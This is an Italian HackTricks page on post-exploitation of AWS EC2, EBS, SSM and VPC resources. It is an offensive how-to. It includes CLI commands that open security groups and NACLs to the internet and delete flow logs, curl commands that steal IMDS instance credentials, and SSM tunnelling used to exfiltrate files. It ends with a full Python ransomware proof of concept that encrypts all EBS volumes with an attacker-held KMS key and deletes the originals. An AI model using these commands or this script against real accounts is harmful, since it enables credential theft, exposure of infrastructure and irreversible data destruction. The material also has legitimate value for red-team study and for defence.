AWS - EC2, EBS, SSM & VPC Post Exploitation
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al đŹ gruppo Discord o al gruppo telegram o seguici su Twitter đŚ @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.
EC2 & VPC
Per maggiori informazioni consulta:
AWS - EC2, EBS, ELB, SSM, VPC & VPN Enum
Malicious VPC Mirror - ec2:DescribeInstances, ec2:RunInstances, ec2:CreateSecurityGroup, ec2:AuthorizeSecurityGroupIngress, ec2:CreateTrafficMirrorTarget, ec2:CreateTrafficMirrorSession, ec2:CreateTrafficMirrorFilter, ec2:CreateTrafficMirrorFilterRule
VPC traffic mirroring duplica il traffico in ingresso e in uscita per EC2 instances allâinterno di una VPC senza la necessitĂ di installare nulla sulle istanze stesse. Questo traffico duplicato viene comunemente inviato a qualcosa come un network intrusion detection system (IDS) per analisi e monitoraggio.
Un attacker potrebbe abusarne per catturare tutto il traffico e ottenere informazioni sensibili da esso:
Per maggiori informazioni consulta questa pagina:
Copiare unâistanza in esecuzione
Le istanze solitamente contengono qualche tipo di informazione sensibile. Esistono diversi modi per ottenere lâaccesso (vedi EC2 privilege escalation tricks). Tuttavia, un altro modo per verificare cosa contengono è creare un AMI e avviare una nuova istanza (anche nel tuo account) da essa:
# List instances
aws ec2 describe-images
# create a new image for the instance-id
aws ec2 create-image --instance-id i-0438b003d81cd7ec5 --name "AWS Audit" --description "Export AMI" --region eu-west-1
# add key to AWS
aws ec2 import-key-pair --key-name "AWS Audit" --public-key-material file://~/.ssh/id_rsa.pub --region eu-west-1
# create ec2 using the previously created AMI, use the same security group and subnet to connect easily.
aws ec2 run-instances --image-id ami-0b77e2d906b00202d --security-group-ids "sg-6d0d7f01" --subnet-id subnet-9eb001ea --count 1 --instance-type t2.micro --key-name "AWS Audit" --query "Instances[0].InstanceId" --region eu-west-1
# now you can check the instance
aws ec2 describe-instances --instance-ids i-0546910a0c18725a1
# If needed : edit groups
aws ec2 modify-instance-attribute --instance-id "i-0546910a0c18725a1" --groups "sg-6d0d7f01" --region eu-west-1
# be a good guy, clean our instance to avoid any useless cost
aws ec2 stop-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1
aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1
EBS Snapshot dump
Snapshots are backups of volumes, che di solito contengono informazioni sensibili, quindi verificarli dovrebbe rivelare queste informazioni.
Se trovi un volume without a snapshot puoi: Create a snapshot ed eseguire le seguenti azioni oppure semplicemente mount it in an instance allâinterno dellâaccount:
Covert Disk Exfiltration via AMI Store-to-S3
Esporta un EC2 AMI direttamente su S3 usando CreateStoreImageTask per ottenere unâimmagine disco raw senza snapshot sharing. Questo permette forensics completi offline o furto di dati lasciando intatta la rete dellâinstance.
AWS â Covert Disk Exfiltration via AMI Store-to-S3 (CreateStoreImageTask)
Live Data Theft via EBS Multi-Attach
Collega un volume io1/io2 Multi-Attach a una seconda instance e montalo in sola lettura per prelevare dati live senza snapshot. Utile quando il volume vittima ha giĂ Multi-Attach abilitato nella stessa AZ.
AWS - Live Data Theft via EBS Multi-Attach
EC2 Instance Connect Endpoint Backdoor
Crea un EC2 Instance Connect Endpoint, autorizza lâingresso e inietta chiavi SSH effimere per accedere a instance private tramite un tunnel gestito. Consente percorsi di lateral movement rapidi senza aprire porte pubbliche.
AWS - EC2 Instance Connect Endpoint backdoor + ephemeral SSH key injection
EC2 ENI Secondary Private IP Hijack
Sposta la secondary private IP di un ENI vittima verso un ENI controllato dallâattaccante per impersonare host di fiducia che sono allowlisted per IP. Permette di bypassare ACL interne o regole SG legate a indirizzi specifici.
AWS â EC2 ENI Secondary Private IP Hijack (Trust/Allowlist Bypass)
Elastic IP Hijack for Ingress/Egress Impersonation
Riassegna un Elastic IP dallâinstance vittima allâattaccante per intercettare traffico in ingresso o generare connessioni in uscita che sembrano provenire da IP pubblici di fiducia.
AWS - Elastic IP Hijack for Ingress/Egress IP Impersonation
Security Group Backdoor via Managed Prefix Lists
Se una regola di security group fa riferimento a una customer-managed prefix list, aggiungendo CIDR dellâattaccante alla lista si espande silenziosamente lâaccesso su tutte le regole SG dipendenti senza modificare il SG stesso.
AWS - Security Group Backdoor via Managed Prefix Lists
VPC Endpoint Egress Bypass
Crea gateway o interface VPC endpoints per recuperare lâaccesso in uscita da subnet isolate. Sfruttare AWS-managed private links bypassa controlli IGW/NAT mancanti per lâexfiltrazione di dati.
AWS â Egress Bypass from Isolated Subnets via VPC Endpoints
ec2:AuthorizeSecurityGroupIngress
Un attaccante con il permesso ec2:AuthorizeSecurityGroupIngress può aggiungere regole in ingresso ai security group (ad esempio, permettendo tcp:80 da 0.0.0.0/0), esponendo cosÏ servizi interni a Internet pubblico o ad altre reti non autorizzate.
aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
ec2:ReplaceNetworkAclEntry
Un attacker con i permessi ec2:ReplaceNetworkAclEntry (o simili) può modificare i Network ACLs (NACLs) di una subnet per renderli molto permissivi â per esempio consentendo 0.0.0.0/0 su porte critiche â esponendo lâintero range della subnet su Internet o verso segmenti di rete non autorizzati. A differenza dei Security Groups, che vengono applicati per-instance, i NACLs sono applicati a livello di subnet, quindi modificare un NACL restrittivo può avere un raggio dâimpatto molto piĂš ampio permettendo lâaccesso a molti piĂš host.
aws ec2 replace-network-acl-entry \
--network-acl-id <ACL_ID> \
--rule-number 100 \
--protocol <PROTOCOL> \
--rule-action allow \
--egress <true|false> \
--cidr-block 0.0.0.0/0
ec2:Delete*
Un attaccante con permessi ec2:Delete* e iam:Remove* può cancellare risorse e configurazioni infrastrutturali critiche â per esempio key pairs, launch templates/versions, AMIs/snapshots, volumes or attachments, security groups or rules, ENIs/network endpoints, route tables, gateways, or managed endpoints. Questo può causare interruzione immediata del servizio, perdita di dati e perdita di prove forensi.
One example is deleting a security group:
aws ec2 delete-security-group
âgroup-id <SECURITY_GROUP_ID>
VPC Flow Logs Cross-Account Exfiltration
Indirizza i VPC Flow Logs verso un S3 bucket controllato dallâattaccante per raccogliere continuamente metadata di rete (source/destination, ports) al di fuori dellâaccount vittima per ricognizione a lungo termine.
AWS - VPC Flow Logs Cross-Account Exfiltration to S3
Data Exfiltration
DNS Exfiltration
Anche se blocchi un EC2 in modo che nessun traffico possa uscire, può comunque exfil via DNS.
- VPC Flow Logs will not record this.
- Non hai accesso ai log DNS di AWS.
- Disabilitalo impostando âenableDnsSupportâ su false con:
aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id <vpc-id>
Exfiltration via API calls
Un attaccante potrebbe chiamare endpoint API di un account da lui controllato. Cloudtrail registrerĂ queste chiamate e lâattaccante potrĂ vedere i dati esfiltrati nei log di Cloudtrail.
Open Security Group
Potresti ottenere ulteriore accesso ai servizi di rete aprendo porte in questo modo:
aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
# Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC
Privesc to ECS
Itâs possible to run an EC2 instance an register it to be used to run ECS instances and then steal the ECS instances data.
For more information check this.
ECS-on-EC2 IMDS Abuse and ECS Agent Impersonation (ECScape)
Su ECS con il launch type EC2, il control plane assume ogni task role e invia le credenziali temporanee allâECS agent tramite il canale WebSocket del Agent Communication Service (ACS). Lâagent poi fornisce quelle credenziali ai container tramite lâendpoint di metadata del task (169.254.170.2). La ricerca ECScape dimostra che se un container può raggiungere IMDS e rubare lâinstance profile, può impersonare lâagent su ACS e ricevere ogni task role credential presente su quellâhost, incluse le task execution role credentials che non sono esposte tramite lâendpoint dei metadata.
Attack chain
- Steal the container instance role from IMDS. Lâaccesso a IMDS è necessario per ottenere il host role usato dallâECS agent.
TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \
http://169.254.169.254/latest/meta-data/iam/security-credentials/{InstanceProfileName}
- Discover the ACS poll endpoint and required identifiers. Usando le credenziali del instance role, chiama
ecs:DiscoverPollEndpointper ottenere lâendpoint ACS e raccogliere identificatori come il cluster ARN e il container instance ARN. Il cluster ARN è esposto via task metadata (169.254.170.2/v4/), mentre il container instance ARN può essere ottenuto tramite lâagent introspection API o (se permesso)ecs:ListContainerInstances. - Impersonate the ECS agent over ACS. Inizia una WebSocket firmata SigV4 verso il poll endpoint e includi
sendCredentials=true. ECS accetta la connessione come una sessione agent valida e inizia a streammare messaggiIamRoleCredentialsper tutti i task sullâistanza. Questo include le task execution role credentials, che possono sbloccare ECR pulls, recuperi da Secrets Manager o accesso a CloudWatch Logs.
Find the PoC in https://github.com/naorhaziz/ecscape
IMDS reachability with IMDSv2 + hop limit 1
Impostare IMDSv2 con HttpTokens=required e HttpPutResponseHopLimit=1 blocca solo i task che risiedono dietro un hop extra (Docker bridge). Altre modalitĂ di rete restano entro un hop dal Nitro controller e continuano a ricevere risposte:
| ECS network mode | IMDS reachable? | Reason |
|---|---|---|
awsvpc | â | Ogni task ottiene la propria ENI che è ancora a un hop da IMDS, quindi token e risposte dei metadata arrivano correttamente. |
host | â | I task condividono il namespace dellâhost, quindi vedono la stessa distanza in hop dellâistanza EC2. |
bridge | â | Le risposte muoiono sul Docker bridge perchĂŠ quellâhop extra esaurisce il limite di hop. |
Pertanto, non dare mai per scontato che hop limit 1 protegga workload in awsvpc o host-mode â testa sempre dallâinterno dei tuoi container.
Detecting IMDS blocks per network mode
-
awsvpc tasks: Security groups, NACLs o modifiche di routing non possono bloccare lâindirizzo link-local 169.254.169.254 perchĂŠ Nitro lo inietta sullâhost. Controlla
/etc/ecs/ecs.configperECS_AWSVPC_BLOCK_IMDS=true. Se il flag manca (default) puoi curlare IMDS direttamente dal task. Se è impostato, pivot nella namespace dellâhost/agent per ripristinarlo o esegui i tuoi tool al di fuori di awsvpc. -
bridge mode: Quando le richieste ai metadata falliscono anche se hop limit 1 è configurato, i defender probabilmente hanno inserito una regola di drop
DOCKER-USERcome--in-interface docker+ --destination 169.254.169.254/32 --jump DROP. Listareiptables -S DOCKER-USERla espone, e lâaccesso root ti permette di cancellare o riordinare la regola prima di interrogare IMDS. -
host mode: Ispeziona la configurazione dellâagent per
ECS_ENABLE_TASK_IAM_ROLE_NETWORK_HOST=false. Questa impostazione rimuove completamente i task IAM roles, quindi devi o riabilitarla, passare a task awsvpc, o rubare credenziali tramite un altro processo sullâhost. Quando il valore ètrue(default), ogni processo in host-mode â inclusi i container compromessi â può contattare IMDS a meno che non siano presenti filtri eBPF/cgroup ad hoc che mirino a169.254.169.254; cerca programmi tc/eBPF o regole iptables che fanno riferimento a quellâindirizzo.
Latacora ha persino rilasciato Terraform validation code che puoi inserire in un account target per enumerare quali modalitĂ di rete espongono ancora i metadata e pianificare di conseguenza il prossimo passo.
Una volta capito quali modalitĂ espongono IMDS puoi pianificare il percorso di post-exploitation: prendi di mira qualsiasi ECS task, richiedi lâinstance profile, impersona lâagent e raccogli tutti gli altri task role per movimento laterale o persistenza allâinterno del cluster.
Remove VPC flow logs
aws ec2 delete-flow-logs --flow-log-ids <flow_log_ids> --region <region>
SSM Port Forwarding
Permessi richiesti:
ssm:StartSession
Oltre allâesecuzione di comandi, SSM consente il traffic tunneling che può essere abusato per pivot da istanze EC2 che non hanno accesso di rete a causa di Security Groups o NACLs. Uno degli scenari in cui questo è utile è il pivoting da un Bastion Host a un cluster EKS privato.
Per avviare una sessione è necessario avere installato il SessionManagerPlugin: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
- Installa il SessionManagerPlugin sulla tua macchina
- Accedi al Bastion EC2 usando il seguente comando:
aws ssm start-session --target "$INSTANCE_ID"
- Ottieni le credenziali temporanee AWS del Bastion EC2 con lo script Abusing SSRF in AWS EC2 environment
- Trasferisci le credenziali sulla tua macchina nel file
$HOME/.aws/credentialscome profilo[bastion-ec2] - Accedi a EKS come il Bastion EC2:
aws eks update-kubeconfig --profile bastion-ec2 --region <EKS-CLUSTER-REGION> --name <EKS-CLUSTER-NAME>
- Aggiorna il campo
servernel file$HOME/.kube/configper puntare ahttps://localhost - Crea un tunnel SSM come segue:
sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortForwardingSessionToRemoteHost --parameters '{"host":["<TARGET-IP-OR-DOMAIN>"],"portNumber":["443"], "localPortNumber":["443"]}' --region <BASTION-INSTANCE-REGION>
- Il traffico dallo strumento
kubectlè ora inoltrato attraverso il tunnel SSM tramite il Bastion EC2 e puoi accedere al cluster EKS privato dalla tua macchina eseguendo:
kubectl get pods --insecure-skip-tls-verify
Nota che le connessioni SSL falliranno a meno che non imposti il flag --insecure-skip-tls-verify (o il suo equivalente negli strumenti di audit K8s). PoichÊ il traffico è tunnelled attraverso il tunnel sicuro AWS SSM, sei al sicuro da qualsiasi tipo di attacco MitM.
Infine, questa tecnica non è specifica per attaccare cluster EKS privati. Puoi impostare domini e porte arbitrari per eseguire un pivot verso qualsiasi altro servizio AWS o unâapplicazione personalizzata.
Inoltro porte rapido Locale âď¸ Remoto (AWS-StartPortForwardingSession)
Se devi solo inoltrare una porta TCP dallâistanza EC2 al tuo host locale puoi usare il documento SSM AWS-StartPortForwardingSession (nessun parametro host remoto richiesto):
aws ssm start-session --target i-0123456789abcdef0 \
--document-name AWS-StartPortForwardingSession \
--parameters "portNumber"="8000","localPortNumber"="8000" \
--region <REGION>
Il comando stabilisce un tunnel bidirezionale tra la tua workstation (localPortNumber) e la porta selezionata (portNumber) sullâistanza senza aprire alcuna inbound Security-Group rules.
Casi dâuso comuni:
- File exfiltration
- Sullâistanza avvia un rapido HTTP server che punti alla directory che vuoi exfiltrate:
python3 -m http.server 8000
- Dalla tua workstation recupera i file attraverso il SSM tunnel:
curl http://localhost:8000/loot.txt -o loot.txt
- Accesso ad applicazioni web interne (es. Nessus)
# Forward remote Nessus port 8834 to local 8835
aws ssm start-session --target i-0123456789abcdef0 \
--document-name AWS-StartPortForwardingSession \
--parameters "portNumber"="8834","localPortNumber"="8835"
# Browse to http://localhost:8835
Suggerimento: comprimi e crittografa le prove prima di exfiltrating in modo che CloudTrail non registri il contenuto in clear-text:
# On the instance
7z a evidence.7z /path/to/files/* -p'Str0ngPass!'
Condividi AMI
aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
Cercare informazioni sensibili nelle AMIs pubbliche e private
- https://github.com/saw-your-packet/CloudShovel: CloudShovel è uno strumento progettato per cercare informazioni sensibili allâinterno di Amazon Machine Images (AMIs) pubbliche o private. Automatizza il processo di avvio di istanze da AMIs target, il montaggio dei loro volumi e la scansione alla ricerca di potenziali secrets o dati sensibili.
Condividere EBS Snapshot
aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
EBS Ransomware PoC
Una prova di concetto simile alla dimostrazione di Ransomware mostrata nelle note di post-exploitation S3. KMS dovrebbe essere rinominato in RMS per Ransomware Management Service, vista la facilità con cui può essere usato per crittografare vari servizi AWS.
Per prima cosa, da un account AWS âattackerâ, crea una customer managed key in KMS. Per questo esempio lasceremo che AWS gestisca i dati della chiave per noi, ma in uno scenario realistico un attore maligno conserverebbe i dati della chiave fuori dal controllo di AWS. Modifica la key policy per permettere a qualsiasi AWS account Principal di usare la chiave. Per questa key policy, il nome dellâaccount era âAttackSimâ e la regola di policy che concede tutti i permessi si chiama âOutside Encryptionâ
{
"Version": "2012-10-17",
"Id": "key-consolepolicy-3",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:root"
},
"Action": "kms:*",
"Resource": "*"
},
{
"Sid": "Allow access for Key Administrators",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Create*",
"kms:Describe*",
"kms:Enable*",
"kms:List*",
"kms:Put*",
"kms:Update*",
"kms:Revoke*",
"kms:Disable*",
"kms:Get*",
"kms:Delete*",
"kms:TagResource",
"kms:UntagResource",
"kms:ScheduleKeyDeletion",
"kms:CancelKeyDeletion"
],
"Resource": "*"
},
{
"Sid": "Allow use of the key",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey"
],
"Resource": "*"
},
{
"Sid": "Outside Encryption",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey",
"kms:GenerateDataKeyWithoutPlainText",
"kms:CreateGrant"
],
"Resource": "*"
},
{
"Sid": "Allow attachment of persistent resources",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:CreateGrant",
"kms:ListGrants",
"kms:RevokeGrant"
],
"Resource": "*",
"Condition": {
"Bool": {
"kms:GrantIsForAWSResource": "true"
}
}
}
]
}
La key policy deve avere abilitate le seguenti azioni per poter essere utilizzata per cifrare un volume EBS:
kms:CreateGrantkms:Decryptkms:DescribeKeykms:GenerateDataKeyWithoutPlainTextkms:ReEncrypt
Ora avendo una chiave pubblicamente accessibile da usare. Possiamo usare un account âvictimâ che ha alcune istanze EC2 avviate con volumi EBS non cifrati allegati. I volumi EBS di questo account âvictimâ sono il nostro obiettivo per la cifratura; questo attacco avviene nellâipotesi di compromissione di un account AWS con privilegi elevati.
Simile allâesempio di ransomware su S3. Lâattacco creerĂ copie dei volumi EBS allegati usando snapshots, userĂ la chiave pubblicamente disponibile dallâaccount âattackerâ per cifrare i nuovi volumi EBS, poi staccherĂ i volumi EBS originali dalle istanze EC2 e li eliminerĂ , ed infine cancellerĂ gli snapshot usati per creare i nuovi volumi EBS cifrati.
Il risultato è che rimarranno nellâaccount solo volumi EBS cifrati.
Da notare inoltre che lo script ha fermato le istanze EC2 per staccare e cancellare i volumi EBS originali. I volumi originali non cifrati ora non esistono piĂš.
Successivamente, torna alla key policy nellâaccount âattackerâ e rimuovi la regola di policy âOutside Encryptionâ dalla key policy.
{
"Version": "2012-10-17",
"Id": "key-consolepolicy-3",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:root"
},
"Action": "kms:*",
"Resource": "*"
},
{
"Sid": "Allow access for Key Administrators",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Create*",
"kms:Describe*",
"kms:Enable*",
"kms:List*",
"kms:Put*",
"kms:Update*",
"kms:Revoke*",
"kms:Disable*",
"kms:Get*",
"kms:Delete*",
"kms:TagResource",
"kms:UntagResource",
"kms:ScheduleKeyDeletion",
"kms:CancelKeyDeletion"
],
"Resource": "*"
},
{
"Sid": "Allow use of the key",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey"
],
"Resource": "*"
},
{
"Sid": "Allow attachment of persistent resources",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": ["kms:CreateGrant", "kms:ListGrants", "kms:RevokeGrant"],
"Resource": "*",
"Condition": {
"Bool": {
"kms:GrantIsForAWSResource": "true"
}
}
}
]
}
Attendi un momento affinchĂŠ la key policy appena impostata si propaghi. Poi torna allâaccount âvictimâ e prova ad allegare uno dei volumi EBS appena criptati. Vedrai che puoi allegare il volume.
Ma quando tenti effettivamente di riavviare lâistanza EC2 con il volume EBS criptato, fallirĂ e passerĂ dallo stato âpendingâ allo stato âstoppedâ per sempre, poichĂŠ il volume EBS allegato non può essere decriptato con la key dato che la key policy non lo permette piĂš.
Questo è lo script python utilizzato. Richiede le credenziali AWS per un account âvictimâ e un valore ARN AWS pubblicamente disponibile per la key da usare per la crittografia. Lo script creerĂ copie criptate di TUTTI i volumi EBS disponibili allegati a TUTTE le istanze EC2 nellâaccount AWS bersaglio, poi fermerĂ ogni istanza EC2, staccherĂ i volumi EBS originali, li eliminerĂ e infine eliminerĂ tutti gli snapshots utilizzati durante il processo. Questo lascerĂ solo volumi EBS criptati nellâaccount âvictimâ bersaglio. USARE QUESTO SCRIPT SOLO IN UN AMBIENTE DI TEST, Ă DISTRUTTIVO E ELIMINERĂ TUTTI I VOLUMI EBS ORIGINALI. Puoi recuperarli usando la KMS key utilizzata e ripristinarli al loro stato originale tramite gli snapshots, ma voglio solo avvisarti che alla fine dei conti si tratta di una ransomware PoC.
import boto3
import argparse
from botocore.exceptions import ClientError
def enumerate_ec2_instances(ec2_client):
instances = ec2_client.describe_instances()
instance_volumes = {}
for reservation in instances['Reservations']:
for instance in reservation['Instances']:
instance_id = instance['InstanceId']
volumes = [vol['Ebs']['VolumeId'] for vol in instance['BlockDeviceMappings'] if 'Ebs' in vol]
instance_volumes[instance_id] = volumes
return instance_volumes
def snapshot_volumes(ec2_client, volumes):
snapshot_ids = []
for volume_id in volumes:
snapshot = ec2_client.create_snapshot(VolumeId=volume_id)
snapshot_ids.append(snapshot['SnapshotId'])
return snapshot_ids
def wait_for_snapshots(ec2_client, snapshot_ids):
for snapshot_id in snapshot_ids:
ec2_client.get_waiter('snapshot_completed').wait(SnapshotIds=[snapshot_id])
def create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn):
new_volume_ids = []
for snapshot_id in snapshot_ids:
snapshot_info = ec2_client.describe_snapshots(SnapshotIds=[snapshot_id])['Snapshots'][0]
volume_id = snapshot_info['VolumeId']
volume_info = ec2_client.describe_volumes(VolumeIds=[volume_id])['Volumes'][0]
availability_zone = volume_info['AvailabilityZone']
volume = ec2_client.create_volume(SnapshotId=snapshot_id, AvailabilityZone=availability_zone,
Encrypted=True, KmsKeyId=kms_key_arn)
new_volume_ids.append(volume['VolumeId'])
return new_volume_ids
def stop_instances(ec2_client, instance_ids):
for instance_id in instance_ids:
try:
instance_description = ec2_client.describe_instances(InstanceIds=[instance_id])
instance_state = instance_description['Reservations'][0]['Instances'][0]['State']['Name']
if instance_state == 'running':
ec2_client.stop_instances(InstanceIds=[instance_id])
print(f"Stopping instance: {instance_id}")
ec2_client.get_waiter('instance_stopped').wait(InstanceIds=[instance_id])
print(f"Instance {instance_id} stopped.")
else:
print(f"Instance {instance_id} is not in a state that allows it to be stopped (current state: {instance_state}).")
except ClientError as e:
print(f"Error stopping instance {instance_id}: {e}")
def detach_and_delete_volumes(ec2_client, volumes):
for volume_id in volumes:
try:
ec2_client.detach_volume(VolumeId=volume_id)
ec2_client.get_waiter('volume_available').wait(VolumeIds=[volume_id])
ec2_client.delete_volume(VolumeId=volume_id)
print(f"Deleted volume: {volume_id}")
except ClientError as e:
print(f"Error detaching or deleting volume {volume_id}: {e}")
def delete_snapshots(ec2_client, snapshot_ids):
for snapshot_id in snapshot_ids:
try:
ec2_client.delete_snapshot(SnapshotId=snapshot_id)
print(f"Deleted snapshot: {snapshot_id}")
except ClientError as e:
print(f"Error deleting snapshot {snapshot_id}: {e}")
def replace_volumes(ec2_client, instance_volumes):
instance_ids = list(instance_volumes.keys())
stop_instances(ec2_client, instance_ids)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
detach_and_delete_volumes(ec2_client, all_volumes)
def ebs_lock(access_key, secret_key, region, kms_key_arn):
ec2_client = boto3.client('ec2', aws_access_key_id=access_key, aws_secret_access_key=secret_key, region_name=region)
instance_volumes = enumerate_ec2_instances(ec2_client)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
snapshot_ids = snapshot_volumes(ec2_client, all_volumes)
wait_for_snapshots(ec2_client, snapshot_ids)
create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn) # New encrypted volumes are created but not attached
replace_volumes(ec2_client, instance_volumes) # Stops instances, detaches and deletes old volumes
delete_snapshots(ec2_client, snapshot_ids) # Optionally delete snapshots if no longer needed
def parse_arguments():
parser = argparse.ArgumentParser(description='EBS Volume Encryption and Replacement Tool')
parser.add_argument('--access-key', required=True, help='AWS Access Key ID')
parser.add_argument('--secret-key', required=True, help='AWS Secret Access Key')
parser.add_argument('--region', required=True, help='AWS Region')
parser.add_argument('--kms-key-arn', required=True, help='KMS Key ARN for EBS volume encryption')
return parser.parse_args()
def main():
args = parse_arguments()
ec2_client = boto3.client('ec2', aws_access_key_id=args.access_key, aws_secret_access_key=args.secret_key, region_name=args.region)
instance_volumes = enumerate_ec2_instances(ec2_client)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
snapshot_ids = snapshot_volumes(ec2_client, all_volumes)
wait_for_snapshots(ec2_client, snapshot_ids)
create_encrypted_volumes(ec2_client, snapshot_ids, args.kms_key_arn)
replace_volumes(ec2_client, instance_volumes)
delete_snapshots(ec2_client, snapshot_ids)
if __name__ == "__main__":
main()
Riferimenti
- https://www.sweet.security/blog/ecscape-understanding-iam-privilege-boundaries-in-amazon-ecs
- Latacora - ECS on EC2: Covering Gaps in IMDS Hardening
- Latacora ecs-on-ec2-gaps-in-imds-hardening Terraform repo
- Pentest Partners â How to transfer files in AWS using SSM
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al đŹ gruppo Discord o al gruppo telegram o seguici su Twitter đŚ @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.
HackTricks Cloud

